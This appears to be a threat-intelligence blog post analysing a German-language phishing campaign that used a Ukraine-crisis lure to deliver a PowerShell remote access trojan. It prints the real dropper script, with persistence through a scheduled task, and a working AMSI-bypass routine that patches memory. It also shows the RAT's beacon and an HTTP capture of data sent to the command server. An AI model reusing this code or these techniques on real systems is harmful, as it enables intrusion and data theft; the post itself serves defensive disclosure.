# Custom PowerShell RAT targets Germans seeking information about the Ukraine crisis

Threat Intelligence Team :: 5/16/2022



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Populations around the world—and in Europe in particular—are following the crisis in Ukraine very closely, and with events unfolding on a daily basis, people are hungry for information.

Although all countries have reasons to be concerned, the situation is Germany is more complicated than most. It is one of the few European countries to have received criticism for its attitude to the Ukraine-Russia conflict, as it struggles to end its reliance on Russian energy, and Moscow recently imposed sanctions on Gazprom Germania, further increasing economic tensions.


This week our analysts discovered a new campaign that plays on these concerns by trying to lure Germans with a promise of updates on the current threat situation in Ukraine. The downloaded document is in fact decoy for a Remote Access Trojan (RAT) capable of stealing data and executing other malicious commands on a victim's computer.

## Decoy site lures victims with Ukraine situation

NTERNET ARCHIVE https://collaboration-bw.de/ **WayBack**Machine 14 captures 9 May 2013 - 11 S Collaboration-BW Online-Werkzeuge für Innovation und Zusammenarbeit in Baden-Württemberg Startseite Beta Version: Under Construction Innovationwiki Kommunikationstools Collaboration-BW - Innovations- und Kommunikationsplattform für Podcasts Baden-Württemberg Blogs Webkonferenzsyster Collaboration-BW ist die kostenfreie Kooperationsplattform für Innovations- und Dokumenten-Sharing Systeme Collaborationsinitiativen aus Baden-Württemberg. Collaboration-BW bietet allen Netzwerkinitiativen Interessierten Möglichkeiten, um Erfahrungen und Wissen zu teilen und sich über Ideen, Initiativen und Innovationen auszutauschen. Ziel ist es neue Ideen für Baden Kontakt Württemberg zu entwickeln. Sie sind herzlich eingeladen mitzuwirken Threat actors registered an expired domain associated with Baden-Württemberg

Threat actors registered an expired German domain name at collaboration-bw[.]de that was formally used as a collaboration platform to develop new ideas for the Baden-Württemberg state.

The threat actors used the domain to host a website that looked like the official Baden-Württemberg website, baden-wuerttemberg.de.



With this copycat, the attackers created the perfect placeholder for the lure they wanted their victims to download: A file tantalising called 2022-Q2-Bedrohungslage-Ukraine (threat situation in Ukraine for Q2), offered via a prominent blue download button.




An English translation of the page reads:

#### Important, current threat situation regarding the Ukraine crisis

On this website you will always find the most important information and tips for dealing with the current threat posed by the Ukraine crisis. Please download the document now and read through the current information. The document is constantly updated and is up to date. Our suggested tips can be practically implemented in everyday work and you should already implement them today. Thanks for your support.

## File analysis

The archive file called 2022-Q2-Bedrohungslage-Ukraine contains a file named 2022-Q2-Bedrohungslage-Ukraine.chm. The CHM format is Microsoft's HTML help file format, which consists of a number of compiled HTML files.



The CHM file displays a fake error message

Victims will get a fake error message when they open up that file, while PowerShell quietly runs a Base64 command.



PowerShell executes a Base64-encoded command

After de-obfuscating the command we can see it is designed to execute a script downloaded from the fake Baden-Württemberg website, using Invoke-Expression (IEX).



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\$configDir = \$env:USERPROFILE + "\SecuriyHealthService" New-Item -ItemType Directory -Force -Path \$configDir \$outFile = \$configDir + "\Status.txt" \$runFile = \$configDir + "\MonitorHealth.cmd" \$strB64 = "ZnVuY3Rpb24gSW52b2ttLVdlYlJldnsKICAgIHBhcmFtCiAgICAoCiAgICAgICAgU3N0cmluZ10kaXAsCiAgICA [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\$strB64))|Out-File -Encoding ASCII \$outFile \$str2B64 =

"QGVjaG8gb2ZmCmZvciAvRiAidG9rZW5zPSogVVNFQkFDS1EiICUlZiBJTiAoYHRhc2tsaXN0IC9maSAid2luZC [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(\$str2B64))|Out-File -Encoding ASCII \$runFile \$str2 = "type " + \$outFile + " | powershell -WindowStyle Hidden -exec bypass )" \$str2|Out-File -Encoding ASCII -Append \$runFile cmd /c "schtasks /create /f /tn HealthStatus /sc daily /st 10:00 /tr \$runFile" cmd /c "attrib +h \$configDir"



The malicious script downloaded from the fake Baden-Württemberg website

The downloaded script creates a folder called SecuriyHealthService in the current user directory and drops two files into it: MonitorHealth.cmd and a script called Status.txt. The .cmd file is very simple and just executes Status.txt through PowerShell. Finally, the downloaded script makes MonitorHealth.cmd persistent by creating a scheduled task that will execute it each day at a specific time.

# PowerShell RAT (Status.txt)

Status.txt is a RAT written in PowerShell. It starts its activities by collecting some information about the victim's computer, such as the current username and working directory, and the computer's hostname. It also builds a unique id for the victim, the clientid.

This data is exfiltrated as a JSON data structure sent to the server via a POST request:

```
$json = '{
    "type": "newclient",
    "result": "",
    "pwd": "' + $pwd_b64 + '",
    "cuser": "' + $cuser + '",
    "hostname": "' + $hname + '",
    "clientid": "' + $clientid + '"
}';
```

\$headers = @{'X-Request-ID' = \$strhash;}

However, before executing this requests the script will first bypass the Windows Antimalware Scan Interface (AMSI) using an AES-encrypted function called bypass. It is decrypted using a generated key and IV before execution.



The bypass function that contains the encrypted script to bypass AMSI.

```
$nonz = "0x00"
$hufsdf = @
using System;
using System.Runtime.InteropServices;
public class hufsdf {
  [DllImport("kernel32")]
  public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  [Dlllmport("kernel32")]
  public static extern IntPtr LoadLibrary(string name);
  [DllImport("kernel32")]
  public static extern bool VirtualProtect(IntPtr IpAddress, UIntPtr ellead, uint fINewProtect, out uint IpfIOldProtect);
}
"@
$xsa = "0xB8"
Add-Type $hufsdf
$ian = "0x07"
$ghudlfx = [hufsdf]::LoadLibrary("$([chAR](97*89/89)+[ChAR](109*89/89)+[ChAR](115*10/10)+[chAr]([BYTe]0x69)+[cHAR]
(46*29/29)+[Char](55+45)+[CHAr](108*16/16)+[CHAR]([BYte]0x6c))")
$yqm = "0xC3"
$asdjpa =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("W2h1ZnNkZl06OkdldFByb2NBZGRyZXNzKC
RnaHVkbGZ4LCAiJCgoJ8OBbXPDrCcrJ1Njw6FuJysnQnVmZicrJ2VyJykubm9yTWFsSVpFKFtjSGFSXShbQnlORVOweDQ2KS
tbY2hBUI0oMTExKjQ5LzQ5KStbQ2hhUI0oMTEOKzYxLTYxKStbQ0hhUI0oW0JZVGVdMHg2ZCkrW0NoYXJdKDY4KzI0LTI0K
SkgLXJlcGxhY2UgWONoQXJdKDkyKjY1LzY1KStbQOhhUlOoW2J5VGVdMHg3MCkrWONIQVJdKFtCWVRIXTB4N2lpK1tDaGFy
XSg3NyszMyOzMykrW2NIYXJdKDExMCkrW2NIQXJdKFtieXRFXTB4N2QpKSlp"))
$ihohaeoh = iex($asdjpa)
$xwe = "0x80"
$p = 0
[hufsdf]::VirtualProtect($ihohaeoh, [uint32]5, 0x40, [ref]$p) | Out-Null
$awpt = "0x57"
$afril = [Byte[]] ($xsa,$awpt,$nonz,$ian,+$xwe,+$yqm)
[System.Runtime.InteropServices.Marshal]::Copy($afril, 0, $ihohaeoh, 6)
The content of the AMSI bypass script after decryption
```

This RAT has the following capabilities:

- Download (type: D0WNI04D): Download files from server
- Upload (type: UPL04D): Upload file to the server
- LoadPS1 (type: L04DPS1): Load and execute a PowerShell script
- Command (type: C0MM4ND): Execute a specific command


## German command and control server

The attack was thoughtfully carried out—even ensuring that the stolen data was sent to a German domain name, kleinm[.]de, to avoid suspicion.

HTTP/1.1 100 Continue content-length: 0 POST / HTTP/1.1 X-Request-ID: 8057b0263726efc2bfb7f61da6c59f2c User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Content-Type: application/json Host: kleinm.de Content-Length: 201 Expect: 100-continue Connection: Keep-Alive {"type":"newclient", "result":"", "pwd":"	Wireshark · Follow HTTP Stream (tcp.stream eq 4) · 5473c2cb-e7a5-41af-ae2	-		×
<pre>content-length: 0 POST / HTTP/1.1 X-Request-ID: 8057b0263726efc2bfb7f61da6c59f2c User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Content-Type: application/json Host: kleinm.de Content-Length: 201 Expect: 100-continue Connection: Keep-Alive {"type":"newclient", "result":"",</pre>				
POST / HTTP/1.1 X-Request-ID: 8057b0263726efc2bfb7f61da6c59f2c User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Content-Ivpe; application/json Host: kleinm.de Content-Length: 201 Expect: 100-continue Connection: Keep-Alive {"type":"newclient", "result":"",	HTTP/1.1 100 Continue			
POST / HTTP/1.1 X-Request-ID: 8057b0263726efc2bfb7f61da6c59f2c User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Content-Ivpe; application/json Host: kleinm.de Content-Length: 201 Expect: 100-continue Connection: Keep-Alive {"type":"newclient", "result":"",	content-length: 0			
<pre>X-Request-ID: 8057b0263726efc2bfb7f61da6c59f2c User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Content-Type: application/json Host: kleinm.de Content-Length: 201 Expect: 100-continue Connection: Keep-Alive {"type":"newclient", "result":"",</pre>				
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Host: kleinm.de Content-Length: 201 Expect: 100-continue Connection: Keep-Alive {"type":"newclient", "result":"",				
Content-Length: 201 Expect: 100-continue Connection: Keep-Alive {"type":"newclient", "result":"",				
Expect: 100-continue Connection: Keep-Alive {"type":"newclient", "result":"",				
Connection: Keep-Alive {"type":"newclient", "result":"",				
{"type":"newclient", "result":"",				
	connection, keep Aire			
	{"type":"newclient" "result":""			
pwd · · · · · · · · · · · · · · · · · · ·				
"cuser":"Contraction and """ "UEM=",				
"clientid" HTTP/1.1 502 Bad		2/1 1 5	02 Bad	
Gateway		/ 1.1 0	JZ Jau	

It is not easy to attribute this activity to a specific actor, and there are no solid indicators to support attribution. Based on motivation alone, we hypothesise that a Russian threat actor could be targeting German users, but without clear connections in infrastructure or similarities to known TTPs, such attribution is weak.

The Malwarebytes Threat Intelligence team continues to monitor attacks taking advantage of the war in Ukraine while ensuring our customers are protected.



Learn even more

## Indicators of Compromise (IOCs)

#### Phishing site

collaboration-bw[.]de/bedrohung-ukr.html

#### Lure

2022-Q2-Bedrohungslage-Ukraine.zip 2430f68285120686233569e51e2147914dc87f82c7dbdf07fe0c34dbb1aca77c 2022-Q2-Bedrohungslage-Ukraine.chm 80bad7e0d5a5d2782674bb8334dcca03534aa831c37aebb5962da1cd1bec4130

#### Status.txt

a5d8beaa832832576ca97809be4eee9441eb6907752a7e1f9a390b29bbb9fe1f

#### MonitorHealth.cmd

fc71522a4125ca4bdc5e5deca4a6498e7f2da4408614c2e1284c3ae8c083a5fd

### C2

kleinm[.]de

## **MITRE ATT&CK**

Tactic	ID	Name	Description
Execution	T1059	Command and Scripting Interpreter	Starts cmd.exe to run hh.exe
			Executes PowerShell script to download and execute a script
		Scheduled Task/Job	Executes task scheduler to add MonitorHealth.cmd as a daily task
Defense evasion	T1222	File and Directory Permissions Modification	Uses attrib.exe to hide SecuriyHealthService folder